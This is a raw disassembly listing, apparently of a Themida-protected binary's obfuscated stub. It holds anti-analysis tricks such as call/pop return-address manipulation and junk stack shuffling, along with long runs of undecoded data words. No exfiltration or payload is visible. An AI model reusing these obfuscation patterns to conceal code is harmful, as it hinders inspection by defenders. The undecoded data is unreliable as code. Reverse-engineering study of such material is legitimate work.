loc_5A276B: ; CODE XREF: Themida_:005A275Aj
push dword ptr [ebp+60B1F8Dh]
push 0
push esi
call sub_5A277C
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5A277C proc near ; CODE XREF: Themida_:005A2774p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 19h
inc esi
push esi
retn
sub_5A277C endp
; ---------------------------------------------------------------------------
dd 0A814EF7h, 13E8F6D5h, 0DA000000h, 6167CBCh, 287E6E96h
dd 4961BA91h, 1024C83Dh, 858B55FCh, 60B1621h, 0C595FF58h
dd 6A060B0Ah, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 14042444h, 41000000h, 0FD5C351h, 284h, 6AF08B00h, 0DD95FF00h
dd 8B060B32h, 0E83AEBC0h, 0DA6D8E72h, 0EBEDEE59h, 638B77Ch
dd 2D7BB8D0h, 6D95AAECh, 9D0C0DEFh, 0E1BEC0F2h, 7654ECF7h
dd 6036D61h, 0F0693E39h, 0E9969B90h, 0F055E7EAh, 0B39AD6Ch
dd 8444E861h, 0DE8BBh, 0CE0C0000h, 292A317Fh, 0EBDEF90Ch
dd 0E92C5C17h, 0Bh, 4B715678h, 0D5A1E786h, 5F681C5Bh, 0C781E28Ah
dd 6A4Eh, 2DFD8D01h, 0BA060Bh, 0E8000000h, 5, 75EDE810h
dd 0BADB81DAh, 594D8D2Dh, 8B3A34FFh, 0B0F199Dh, 0BD315E06h
dd 60B2305h, 0D61EE81h, 13E97285h, 2C000000h, 0F8D7217Bh
dd 0FFC8AE73h, 5365B218h, 69491559h, 0F6815359h, 4D8DEA56h
dd 18B59589h, 0EE81060Bh, 4FCC0378h, 1F71858Bh, 3489060Bh
dd 0F856FC17h, 4EA8358h, 17E59D2Bh, 0FA81060Bh, 0FFFF9658h
dd 0FF9E850Fh, 8D8BFFFFh, 60B01F1h, 68EC8D8Dh, 6CB70611h
dd 1785B529h, 8D89060Bh, 60B174Dh, 0D68B6652h, 1985C75Bh
dd 8C060B01h, 6A000058h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1C042444h, 42000000h, 0C697C352h, 7C51B13h
dd 66920EAFh, 0FF8A8BFh, 0C89h, 0B9666000h, 0EE81FBCAh
dd 4E92D88Bh, 985C761h, 60B10h, 6A000000h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 8BFEC351h
dd 199D89D9h, 0FF060B12h, 0B1F8DB5h, 29B50B06h, 0FF060B10h
dd 0B0AC595h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1404h, 0C3504000h, 0FF006AB9h, 0B32DD95h, 0EBC08B06h
dd 74251C3Ah, 9BBC073Ch, 0F241562h, 2832BB00h, 5BE710B5h
dd 1694106h, 2908D241h, 0A0E3BE32h, 0E31071CDh, 806DCC12h
dd 98C78BB8h, 0B9C1F71Ch, 4476B120h, 3E243EFAh, 8DD3ADAEh
dd 1169A88Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1804h, 0C3564600h, 0FCCA38BBh, 6DBD8BD7h, 89060B01h
dd 0B174D8Dh, 0B5958906h, 0C7060B01h, 0B011985h, 57F806h
dd 0F9B70F00h, 100985C7h, 60Bh, 0B5FF0000h, 60B12A9h, 2F29958Bh
dd 95FF060Bh, 60B0AC5h, 817EB866h, 0CE9h, 0AE73F800h, 0B218FFC8h
dd 15595365h, 0FF006A49h, 0B32DD95h, 0EBC08B06h, 6C524B48h
dd 0EA13A717h, 0E8E12989h, 71B8B6C4h, 8AD1B115h, 50F936D4h
dd 74CB6082h, 74BB424Ah, 52FDCEFAh, 1859CC3Eh, 88EEBABCh
dd 173E3F84h, 6223FD39h, 1F1A610Dh, 9D937A80h, 0BDC2367Fh
dd 907BF05h, 0DBC794F2h, 6E817h, 5C800000h, 0ABA0D127h
dd 9529F560h, 60B2B25h, 8D895961h, 60B1069h, 6529C181h
dd 9D8B0000h, 60B05CDh, 8A0FD22Bh, 4, 50FBB66h, 8111048Bh
dd 58AD59C0h, 11E94Fh, 9BEC0000h, 0DDC776B2h, 0C5D42F64h
dd 0DBC60F3Ah, 81BD6084h, 0F257F3F0h, 97BE665Fh, 0FF08110h
dd 0E92A763Dh, 6, 1A606B2Fh, 4891848h, 6860F11h, 2B000000h
dd 0B15E99Dh, 0DF816606h, 0EA8159F5h, 49DD0A5Dh, 13E8h
dd 55FA4500h, 0B167FD15h, 75D18293h, 0A7020FB6h, 0B1D83A94h
dd 0CE9h, 8A60FB00h, 1CE9D09Dh, 36BC3496h, 0C2815B71h
dd 49DD0A59h, 60D78B60h, 66D68B66h, 6711CB81h, 0FA816161h
dd 0FFFF9BD4h, 22850Fh, 51600000h, 644665BEh, 0E2815B15h
dd 1557E1B1h, 21E961h, 66EC0000h, 999A8A77h, 1AAF7307h
dd 8A19D9DDh, 0BF665750h, 5B5E4F9Dh, 0FFFF33E9h, 7BC23CFFh
dd 0E80F0BEFh, 8, 58AB009Fh, 0C49033A9h, 0E8DCBB66h, 0F88B6659h
dd 704DC181h, 8B660000h, 1BE968DAh, 0FA8B0000h, 6985895Ah
dd 0FF060B1Ah, 0F08B6631h, 5E95358h, 9000000h, 0CDDE0305h
dd 8EE8815Eh, 89322E94h, 0B04A5BDh, 0C4E88106h, 8B0D1AE7h
dd 8CF081F2h, 0E9499D89h, 0Ah, 975B86E7h, 119474DDh, 189F0DCh
dd 8101E983h, 88CFCD6h, 49494937h, 718D8B60h, 80060B06h
dd 81612DC0h, 1EAh, 1B850F00h, 8B000000h, 0B0BD19Dh, 1BE906h
dd 8C930000h, 24CE0375h, 0A427B90Eh, 59FAE40h, 0E9F8F1D9h
dd 0FFFFFF7Fh, 992BC527h, 828D8D96h, 6A06116Ch, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
dd 5E64C357h, 0AAC6ACDAh, 4D8D8937h, 66060B17h, 85C7DF8Bh
dd 60B0119h, 5F84h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Bh, 67C35040h, 90E63183h, 0E9197D71h, 14h
dd 0AA5693C5h, 7A9895E7h, 0EEAF677Bh, 0BF30F16Bh, 99CF0D58h
dd 100985C7h, 60Bh, 8E90000h, 3000000h, 0C96EBB0Ch, 0FF65DB6Dh
dd 0B19C9B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1404h, 0C3514100h, 0FFD5B0BFh, 0B0AC595h, 11E906h, 121F0000h
dd 0AA7D8B0h, 95F6B21Bh, 0CFBC3BA1h, 6A4A6DFEh, 0DD95FF00h
dd 8B060B32h, 0C26DEBC0h, 39F3A3E6h, 0DDF77A1h, 152CA0FCh
dd 74B3F74Eh, 0F48B4712h, 0C77B1AC5h, 0F48D0408h, 2C8DAC97h
dd 0DE782ED0h, 4C1E854h, 8AF41A34h, 0DD3D7CF9h, 0A0F85E52h
dd 97926708h, 26ACBA8Ah, 0D0A6928h, 0ED04C79h, 32AAB3ADh
dd 0E356821h, 759A3E78h, 0EFE31BA1h, 0BF274AA3h, 47190CC9h
dd 82C0558h, 0F2633E73h, 0DAD2CB56h, 0E86D0468h, 6D898D8Dh
dd 9D890611h, 60B18E5h, 174D8D89h, 858B060Bh, 60B03C9h
dd 11985C7h, 5C18060Bh, 0B5890000h, 60B28CDh, 10E8h, 0C8D1DF00h
dd 50369DA8h, 89B17D99h, 0FC86FE46h, 965DB873h, 0C75806B6h
dd 0B100985h, 6, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1404h, 0C3504000h, 0A46ABB08h, 0B5FF0FE3h
dd 60B1B7Dh, 8870Fh, 8E0F0000h, 2, 0BD8B6160h, 60B0B1Dh
dd 0AC595FFh, 6A060Bh, 32DD95FFh, 0C08B060Bh, 9942AEBh
dd 6C6D0051h, 5359918h, 0F1E276E7h, 0EADCA3E9h, 0D061A3DCh
dd 4F34D70Dh, 0EF801AA8h, 36E26D06h, 9975820Fh, 0BDEFDD68h
dd 6E7C8D8Dh, 8B600611h, 0B177DB5h, 128E0F06h, 0E9000000h
dd 0Dh, 57C6E3A4h, 4A1307F9h, 5067A6B7h, 8D896120h, 60B174Dh
dd 68F0Fh, 8D890000h, 60B2425h, 11985C7h, 68D4060Bh, 0D18B0000h
dd 100985C7h, 60Bh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 170424h, 53430000h, 0B0EED2C3h, 6890F44h
dd 89000000h, 0B14A9BDh, 0E0816606h, 858BBD61h, 60B29E5h
dd 2705B5FFh, 6A060Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 190424h, 51410000h, 8855CFC3h, 8B9C5B55h, 0B02FDBDh
dd 0C595FF06h, 0B060B0Ah, 0B0EFDBDh, 0FF006A06h, 0B32DD95h
dd 0EBC08B06h, 0E549396Bh, 0F598E6A9h, 1A17C968h, 0BFE8F2F5h
dd 495EC5C0h, 7828DFACh, 9019AF08h, 0FB08C4CAh, 3BCBE583h
dd 9BAB312Eh, 8DB13963h, 0C23803DFh, 465E381Fh, 8091EEB5h
dd 0B1C6A5FCh, 4B47523Ch, 0EEE72D8Ch, 14A14473h, 0E76C0272h
dd 66D1D577h, 0F7C10DC2h, 0C75CA0CCh, 55A870D3h, 0A2DE9EFBh
dd 2F8365E2h, 0D06E90BDh
dd 9DA2BB90h, 0EE8h, 0D81DB00h, 0E60903FEh, 67D2A678h
dd 8A378EDCh, 0BF6659F0h, 0C181DBE3h, 6FBEh, 348BDB2Bh
dd 0D7B70F19h, 0BCD4EE81h, 56BF53B1h, 8124F038h, 3CCEFBF6h
dd 0E99D0165h, 81060B08h, 0B6B5FFEEh, 89FBB47Eh, 958B1934h
dd 60B04A9h, 0BE9h, 3BCE1000h, 4C5302C3h, 28011E92h, 0D5E7EB81h
dd 858B2C81h, 60B243Dh, 0D5E3C381h, 0BD892C81h, 60B27D9h
dd 90C0FB81h, 850FFFFFh, 0FFFFFF9Eh, 0E8CCC080h, 0Fh, 0AF2EF6Ch
dd 2B5B7A78h, 391B67A7h, 60ABBF39h, 891EE880h, 0B00399Dh
dd 565A6106h, 10E9h, 2DED1000h, 0BCD5D89Eh, 6F3EC741h
dd 372300E7h, 0C2815BB8h, 6E42h, 29FD8589h, 60BE060Bh
dd 0E900001Bh, 0Eh, 7DD5FB3Ah, 0C24E6695h, 638954E5h, 3A8B6FA7h
dd 1F658D89h, 0EF81060Bh, 3093848Dh, 33298503h, 0C781060Bh
dd 0D7D68A8h, 81DBB70Fh, 52D9E8EFh, 0CF7B807h, 3A892A86h
dd 83C1B70Fh, 858B02EAh, 60B2241h, 0B70F4A4Ah, 1EE83D8h
dd 12850Fh, 5BB0000h, 0E91B8A95h, 22h, 8FBC7BF9h, 346C0959h
dd 0F498D89h, 9FE9060Bh, 38FFFFFFh, 9EB62253h, 7F6E99D3h
dd 0CEC791h, 8D8D3CC0h, 61170BEh, 4D8D89FCh, 1060B17h
dd 0B32A9BDh, 1985C706h, 4C060B01h, 0F000060h, 85C7C6BFh
dd 60B1009h, 0
; ---------------------------------------------------------------------------
push 0
push eax
call sub_5A3117
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5A3117 proc near ; CODE XREF: Themida_:005A310Fp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 16h
inc eax
push eax
retn
sub_5A3117 endp
; ---------------------------------------------------------------------------
db 5Ch
dd 0BD31DC8Dh, 60B0149h, 891DD280h, 0B183D9Dh, 8DB5FF06h
dd 0E9060B1Fh, 0Bh, 0F926AF6Fh, 0E7F8ABE0h, 0FFF8DDF3h
dd 0B0AC595h, 79B50B06h, 6A060B16h, 0DD95FF00h, 8B060B32h
dd 6B3AEBC0h, 51439FBCh, 48EBB9FAh, 0C4674AE3h, 0A9105757h
dd 74315BBh, 19BCCD4Dh, 0AD99E0D7h, 0E27565C4h, 157FD26Eh
dd 0A7CFDBDFh, 0F6D2AF9Bh, 80F986F5h, 19983A54h, 0D1C242FBh
dd 14E835h, 7D580000h, 2055173Ah, 0D120993Dh, 0B6C9390Bh
dd 4B4A6FEBh, 0DE9F441h, 3B000000h, 2D533925h, 8045DCB4h
dd 82C1BE20h, 0A9BD8958h, 81060B0Fh, 5ACDC0h, 25BD8B00h
dd 68060B0Ch, 1683h, 68B0Fh, 95890000h, 60B0AEDh, 62C9805Bh
dd 895E30FFh, 0B31C19Dh, 0F4F68106h, 8B40FC78h, 0B08C9BDh
dd 0DBF68106h, 0B0F354Eh, 0B0E398Dh, 82C68106h, 0B9380668h
dd 69A828F5h, 0C2803089h, 4E88340h, 12850F4Bh, 0BA000000h
dd 7C94B5CBh, 32E9h, 1492D200h, 29AB0F55h, 13E823h, 87E10000h
dd 82E93EB9h, 65E7FABFh, 508EBFB6h, 0ABF06A01h, 59D78B68h
dd 0FFFF93E9h, 64287BFFh, 6EA445C8h, 0E86F3C9Ch, 6, 89EB885Bh
dd 0BE6670C8h, 895A2CBDh, 0B05CDB5h, 0EBC28106h, 0BB000074h
dd 2A91A4C9h, 7843C381h, 9509D56Eh, 60B2981h, 0BF0F3A8Bh
dd 7DC781CAh, 91853FFh, 0B1EC195h, 83F78106h, 8B580213h
dd 0B0CE58Dh, 47F78106h, 0E90511A5h, 10h, 5404610Fh, 0C5A8404Eh
dd 93E45FB6h, 0C7096247h, 10E957h, 9B690000h, 3707419h
dd 7FF4951Bh, 0F141CC7h, 28F9470h, 8B01EA83h, 0B27D185h
dd 4A4A4A06h, 0B6DBD09h, 0EB83060Bh, 15850F01h, 9000000h
dd 0B10618Dh, 21E906h, 4FFF0000h, 0BCF0854Dh, 0FEB9C752h
dd 90C08166h, 0FF76E939h, 0E56CFFFFh, 0C5D0695Eh, 647F5B2Eh
dd 82A4E8C1h, 889A075h, 0DC781469h, 4F378DA6h, 2E86362Eh
dd 908635A1h, 4813D925h, 99053025h, 148D11B4h, 81023F25h
dd 7863025h, 49908198h, 0A5893023h, 9086305Eh, 60C3B5E3h
dd 0CCC8362Eh, 12863021h, 0A1C4E765h, 0A0C2BB75h, 0CB86BB21h
dd 79821461h, 0B11785DAh, 0CD0B362Eh, 22884D3Dh, 0E20DE0DAh
dd 21C3B5E3h, 0ECC8362Eh, 0D585B61Ah, 20A234A4h, 6F970F74h
dd 43908190h, 3C03BD23h, 0ED803E58h, 0B07EBBF5h, 84863035h
dd 428638CCh, 0A4899625h, 9086302Bh, 474F3B6Ch, 0DB79C0A0h
dd 128BD9DAh, 940B3025h, 828D7DF2h, 4286359Dh, 0AC65CF25h
dd 81F4BB98h, 190BBD23h, 9C802156h, 94B61537h, 8247FF0Eh
dd 889A075h, 0DC781469h, 4F378DA6h, 2E86362Eh, 908635A1h
dd 4813D925h, 99053025h, 5E983B4h, 22B9A4F3h, 0E8000000h
dd 0Eh, 436BF0AAh, 61FCDCBDh, 0F4D6047Bh, 9501E026h, 60B06B5h
dd 96BB665Ah, 1CC281F6h, 66000067h, 688E88BFh, 19A9h, 33C19D8Bh
dd 235E060Bh, 0B2E918Dh, 29028B06h, 0B1581B5h, 0AC08106h
dd 8B6C64A9h, 8CE881DAh, 815E2A9Bh, 956CD8EBh, 0A2C0812Dh
dd 524026FFh, 3820Fh, 8B660000h, 2895BFAh, 2904EA83h, 0B04298Dh
dd 1EE8306h, 0FFBF850Fh, 9589FFFFh, 60B1F79h, 74FD8D8Dh
dd 6A0611h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
dd 57470000h, 0E98FCCC3h, 79867521h, 0CE9h, 5E2BE400h
dd 18F86697h, 0C3338215h, 0ABE0807Ah, 174D8D89h, 0C7FC060Bh
dd 0B011985h, 628C06h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1904h, 0C3524200h, 19E5F9E5h, 8589B34Eh
dd 60B0DB5h, 68F0Fh, 0B58B0000h, 60B2A8Dh, 100985C7h, 60Bh
dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
dd 55450000h, 0EF5841C3h, 205FD20Eh, 0F19D8927h, 0FF060B30h
dd 0B1A49B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1404h, 0C3534300h, 0C595FF71h, 6A060B0Ah, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
dd 0F5D9C356h, 1935B58Bh, 6A060Bh, 32DD95FFh, 0C08B060Bh
dd 820B0DEBh, 24469F99h, 7A730406h, 0EB0A2184h, 0A41F3F04h
dd 813E92Ch, 0B2C40000h, 58AF589Bh, 0E1D8A69h, 0BFC72033h
dd 6EB25380h, 2E358C57h, 698AB5CFh, 995A67BCh, 362D186Ch
dd 62F1CCD9h, 0AFDB5399h, 20C58568h, 1EBDEB51h, 6BFE5EDh
dd 1BEB05E3h, 0C3943A6Ah, 0B6AD98EDh, 5D8F94E8h, 3FD122D3h
dd 0D4F334D9h, 39D7CB14h, 9F1774ADh, 0DF1C9BDh, 0F379445Ch
dd 6B9CD61h, 0EF0E3A61h, 3AE82FD4h, 0CB655952h, 973F9C28h
dd 0B9FF0DEBh, 1C68FC6Eh, 933A616Eh, 7B8C81AFh, 613FA4Eh
dd 9F9947CBh, 349CE90Eh, 63F0D4E5h, 36647891h, 4457462Ch
dd 570B65AEh, 3A1E2EDFh, 718B7256h, 6886FA4Eh, 4891h, 8B9A0B00h
dd 58F6CABEh, 0FBDADEE2h, 6352A617h, 0E6E7219Fh, 1FC4FB01h
dd 400D4CFDh, 276532h, 0DE830000h, 0DF17FBDAh, 0C3941DAEh
dd 552B9082h, 78CA6754h, 28A5FF29h, 5486B9C3h, 9C605FA9h
dd 2ED58EB8h, 17h, 0FBDADEB6h, 1DADDF17h, 9484C394h, 5231E69h
dd 0A7FD22A3h, 0BDBD5B98h, 860A4750h, 8418A442h, 582C196Ah
dd 48DA0064h, 8F734E5Dh, 87BEC24Bh, 0A531DF33h, 0BD9EFC80h
dd 916F26C5h, 7BE85655h, 600097F3h, 0CE22183Ah, 64B766EAh
dd 12618E55h, 49534B3Fh, 59842832h, 2E446B34h, 0BFF560D4h
dd 9418AA2Eh, 307D1AF0h, 940BD877h, 1003F1D1h, 0E83B123Ch
dd 96E502D1h, 65E9E82Eh, 0E979CD21h, 307D538Dh, 0CB30BDF7h
dd 0C10E14B8h, 7D53D9ADh, 7054AE30h, 6F31C71Ch, 0DB9F710Eh
dd 0F8D5DE65h, 0CD4CB406h, 3740050Ch, 3A25h, 0E6FC300h
dd 29BD9F71h, 0C3941D5Dh, 0BD76E8D2h, 4D1EBD47h, 0D8C95FA6h
dd 0C1FEE18h, 50BD5B3Dh, 4E82764Bh, 0DD0208A0h, 1D1FF98Dh
dd 8E9D6C06h, 5D8BCFB3h, 35C8E7h, 0BD500000h, 889C4450h
dd 91F5C9BDh, 7F3FE92Dh, 0DAE9DA1Eh, 55DA57F3h, 28D7F1A8h
dd 4DA10952h, 5D29BDEBh, 7EC3941Dh, 50BDA204h, 13DD0B4Ah
dd 0FED3DEF5h, 0BD857B18h, 1DCFBB33h, 434EC394h, 0C049B10Eh
dd 0DE3286BBh, 68C8DD30h, 5663B41Ch, 0F9918E72h, 9ABAB389h
dd 277CCD21h, 7E52B61Ah, 0BECA62ECh, 31C394AAh, 3B2B1FC9h
dd 0C3902AF9h, 71F507E5h, 3C682815h, 0C8B78E94h, 535254F2h
dd 5337BFC9h, 0D43C6828h, 0AB1F227Bh, 7B8A7357h, 6886FA4Eh
dd 0BEA590E5h, 87BAC332h, 579CE469h, 6828ABDFh, 0E2C63C3Ch
dd 6A55AF1Eh, 0EFFE38E6h, 516CB865h, 0EF6EA9EDh, 5E8BC5D3h
dd 0CBD13CEAh, 7CAD6FF4h, 55323DC0h, 37h, 0F8D5DEB3h, 384CE072h
dd 8FC3941Dh, 75B59D4Bh, 0A6CE1C27h, 0BD9F2B63h, 432A9EE4h
dd 0C78EC35h, 833A60F3h, 6F75BBFh, 0C17CC0FDh, 5848C2C3h
dd 495A4342h, 0BD11E77Ch, 0B2831A1Eh, 3F8F5E35h, 948275D9h
dd 0DF5785F9h, 0C3948DABh, 2528C63Ch, 1911E5D0h, 0FA72F883h
dd 0BD9FA6FBh, 2FD50E74h, 9F710E6Fh, 0D5DE65DBh, 38B406F8h
dd 618FBACDh, 50CCDFBh, 8D323740h, 90277D95h, 0B841EFB4h
dd 50h, 870E6F44h, 941D1B6Fh, 0B296ECC3h, 511EBDDCh, 0CCFB0D6Ah
dd 0CBFB0478h, 7641571Ch, 0F27AF412h, 0C394F496h, 0BD4F2119h
dd 790DA133h, 0CEC3941Dh, 0BACE66F4h, 0DC3941Dh, 0DE251B35h
dd 7B18FED3h
dd 37C885h, 0B7240000h, 6C1D5197h, 0D74DFB38h, 0EB710E6Fh
dd 53C89174h, 0B6CA3228h, 0E3C73B8Fh, 29BDDF45h, 0C3941D5Dh
dd 0BDA2047Eh, 0FED3DE47h, 0BB33BD18h, 0C3941DCFh, 0E4CC7A40h
dd 0F8D5DE22h, 0C2D7C614h, 4F8D59F7h, 77C3909Dh, 3E4BB03Dh
dd 0ED37D003h, 31DC6ED2h, 2C60D4EBh, 15F10B02h, 58CC58BBh
dd 3C6FC82Ch, 93A05FA3h, 0E408D2E6h, 3C6F03E0h, 4B3F1367h
dd 0F51AABEDh, 5B7A4BAFh, 0C4FEB54Ah, 688173E0h, 41323C1Fh
dd 1Eh, 0F8D5DEAFh, 5B768372h, 3745A5ADh, 0F7B63E2Ch, 78BD9F05h
dd 5C56BE02h, 625FA851h, 0D5DE03F1h, 99C614F8h, 4D9ADB12h
dd 1AA24C89h, 0FB73F982h, 0BD9FF0DEh, 11B9FEAFh, 62D6CA09h
dd 9620CA2Eh, 61B06A1Eh, 6B85FD3Ah, 0E6F0888h, 40A495E4h
dd 0C233BDEEh, 0DC3084B1h, 941D7014h, 35EFB7C3h, 0C3CA94F5h
dd 1074F874h, 97C39422h, 0A9A14FA3h, 6DD5DED7h, 57C92D18h
dd 33BD4CB4h, 941DCFBBh, 0CC7A40C3h, 4004AB52h, 3D8637h
dd 0BD6E0000h, 0DA744550h, 0E139BBC2h, 362A6ED2h, 5D29BD50h
dd 0D2C3941Dh, 33BD76E8h, 4A9AB7C2h, 0C3941D3Eh, 0CD9F49B1h
dd 4750BD37h, 0D7BB869Fh, 9C719FF3h, 7BDABC8Dh, 2AC885h
dd 0BD500000h, 0DE084150h, 0BAA0BFDEh, 1DC08428h, 7347C394h
dd 0F84C798Ah, 0BDF46A84h, 941D5D29h, 0A2047EC3h, 0D3DE47BDh
dd 857B18FEh, 14F8D5DEh, 909D1EDCh, 7A455FC3h, 0E6D12796h
dd 20ADE712h, 0B89CA3FBh, 0C9535248h, 4CFAC7DCh, 5A99B4C1h
dd 0D3F691CEh, 10AD9CCEh, 0E04CF770h, 0FD2B0F9Dh, 0A83C0710h
dd 3C6F9ADCh, 0E10B6F53h, 3AD4E534h, 0BDC6D6D6h, 9C9E07AFh
dd 5DEF4264h, 6F1B3DFEh, 8B5B7C2Ch, 3A64CFFFh, 0B8879F70h
dd 0B89CF0D4h, 0E6F5DBBh, 65DB9F71h, 6F8D5DEh, 0CCD4CB4h
dd 25374005h, 2Eh, 710E6FC3h, 5D29BD9Fh, 0D2C3941Dh, 33BD76E8h
dd 1D790DA1h, 0F4CEC394h, 0D3DEE45Ah, 5D21186Bh, 4B8A9079h
dd 857BF157h, 27C8h, 0E6F5000h, 1EBD9F71h, 6F79A463h, 0E89C1089h
dd 7FC394DAh, 6709271Bh, 94DABBCFh, 8C62A0C3h, 0D3DE47BDh
dd 857B18FEh, 1B6DD5DEh, 9564582Ch, 8CC0B483h, 405342A8h
dd 0FB6BDF09h, 0C3909D39h, 1998C725h, 9F5283D6h, 0A8257FA9h
dd 0D81B3643h, 1BEFDA2Fh, 78E27903h, 64EDD9F4h, 8654AE42h
dd 0A394F074h, 0B21B3A64h, 0ADE1556Ch, 3CC49F49h, 9F710E6Fh
dd 50BD65DBh, 0D5840841h, 0CD01F5C0h, 0C5CE3FE9h, 4CB41688h
dd 40050CCDh, 392537h, 46B70000h, 72E8063Bh, 9F710E6Fh
dd 1D5D29BDh, 0E8D2C394h, 0BD47BD76h, 860A4750h, 91A8FB42h
dd 0CE3FE92Dh, 0D37A55C3h, 46D13Ah, 857B4A2Ch, 40C8h, 0AFF92400h
dd 6F807690h, 0BD9F710Eh, 0EB2C233h, 0C403409h, 1276FE28h
dd 39C3941Dh, 59D53B4Ch, 0E0BE5B65h, 0BC6DD135h, 0DD7A5E6Bh
dd 0B2A755F5h, 0BEDC166h, 0D3DE47BDh, 79816CFEh, 7BB6AC5Ah
dd 0F8D5DE85h, 477A8372h, 99719FF3h, 6653A253h, 0C90BE92h
dd 0F701EB70h, 0C639F665h, 3E6DB77Bh, 94E25236h, 1CEDD5C3h
dd 75493D08h, 95E0BDBh, 0ABEFBD9Eh, 0C9D13C48h, 24C2068Ah
dd 94EA0498h, 0C5B7D35Bh, 0C2383A61h, 0C2261AEEh, 12E59418h
dd 704A4471h, 0FDC8DD8Ch, 417C8966h, 0D9A075FDh, 509269C4h
dd 0A9EE56A5h, 88EC2094h, 0A049445Eh, 4BF07A57h, 527DB95h
dd 39BA5476h, 3A8EBBCCh, 80744B53h, 9FDC0D9h, 0CEDFABC3h
dd 6A500ABBh, 0D6BA95E3h, 5529A4FEh, 34DDE8A8h, 0E00DD6E3h
dd 45B0BA97h, 66EA0433h, 3A1h, 9C84CB00h, 9FDD4DEh, 967A57A0h
dd 12E6D127h, 9B6F52ABh, 63D7EE32h, 0EB5F66BAh, 71C5FC02h
dd 0FC407988h, 7BCFFA0Dh, 6A2268CFh, 1C890000h, 81E38924h
dd 4C3h, 4EB8300h, 5C241C87h, 81E38953h, 4C3h, 4EB8100h
dd 87000000h, 895C241Ch
; ---------------------------------------------------------------------------
cmp al, 24h
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], esi
push edx
push ebp
mov ebp, 611751Ah
mov edx, ebp
pop ebp
mov edi, edx
pop edx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop esi
push ebx
mov ebx, 8
add ebx, esi
mov [ebx], edi
mov ebx, [esp]
add esp, 4
mov esi, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
mov edi, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_543FDB
; ---------------------------------------------------------------------------
dd 7B8CF9FAh, 7C89B841h, 0C5030611h, 8403E0FFh, 2745381Dh
dd 658D0EF5h, 6BAB5F23h, 0EDB76BAFh, 0FE848E6h, 0CB000000h
dd 0E9CCEE76h, 30509B0h, 0AB4FCDDEh, 0CE8195E9h, 494A8690h
dd 0C281665Bh, 0C381ADDFh, 72B8h, 0B8F0Fh, 850F0000h, 5
dd 11F4D4BAh, 6865h, 0DE810000h, 6B43318Bh, 0F08B6658h
dd 66030C8Bh, 81B3A9BAh, 299883E9h, 8B66530Eh, 0F1815FF2h
dd 5EE014F6h, 0AE9h, 8ACDDB00h, 0D11621D8h, 81374D21h
dd 4F3F64F1h, 48F5123h, 19890F03h, 0E8000000h, 0Fh, 7D295D95h
dd 0EBD95F81h, 4BF17428h, 667CB106h, 5E4FB1BAh, 0E883FB8Bh
dd 0CF88104h, 0FFFFF8Eh, 1285h, 8CCBBE00h, 1CE95AF3h, 0E5000000h
dd 2C74959Bh, 0F668B89h, 85E9F7B7h, 86FFFFFFh, 696636ABh
dd 36C9B988h, 8D5DE1A4h, 117ECC8Dh, 0FE906h, 0CB420000h
dd 0EF90E48Eh, 53CF4716h, 0CCBAAAEBh, 0C840F95h, 0F000000h
dd 689h, 0A58D8900h, 89060B2Ah, 0B174D8Dh, 51006A06h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
dd 85C723C0h, 60B0119h, 72E0h, 33A4DF81h, 7E90A7Eh, 0FB000000h
dd 0EDDF979Dh, 85C7CE52h, 60B1009h, 0
; ---------------------------------------------------------------------------
xor ebx, 582E2356h
push dword ptr [ebp+60B0DA5h]
mov edi, [ebp+60B1309h]
call dword ptr [ebp+60B0AC5h]
push 0
push edi
call sub_5A3F53
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5A3F53 proc near ; CODE XREF: Themida_:005A3F4Bp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 18h
inc edi
push edi
retn
sub_5A3F53 endp
; ---------------------------------------------------------------------------
inc ebp
mov al, 55h
adc edx, eax
cld
push 0
call dword ptr [ebp+60B32DDh]
mov eax, eax
jmp short loc_5A3F9F
; ---------------------------------------------------------------------------
db 63h, 0AAh, 42h
dd 289700DBh, 3453160h, 0A20F569Eh, 0F1193EE9h, 691D8476h
dd 8F4953D5h, 650AB18Ch, 4ED9587Bh, 0C91D2473h
db 0B2h, 0CCh, 0Dh
; ---------------------------------------------------------------------------
loc_5A3F9F: ; CODE XREF: Themida_:005A3F73j
call sub_5A3FB3
bound edi, [esi+33DB7313h]
dec edx
xlat
pop ebx
xchg eax, esi
test eax, 1E266F1h
; =============== S U B R O U T I N E =======================================
sub_5A3FB3 proc near ; CODE XREF: Themida_:loc_5A3F9Fp
push ebx
jmp loc_5A3FC4
; ---------------------------------------------------------------------------
db 74h, 67h, 0DEh
; ---------------------------------------------------------------------------
mov [ebp+472AEFF4h], eax
sal eax, cl
loc_5A3FC4: ; CODE XREF: sub_5A3FB3+1j
pop edi
pop eax
add eax, 7333h
mov di, dx
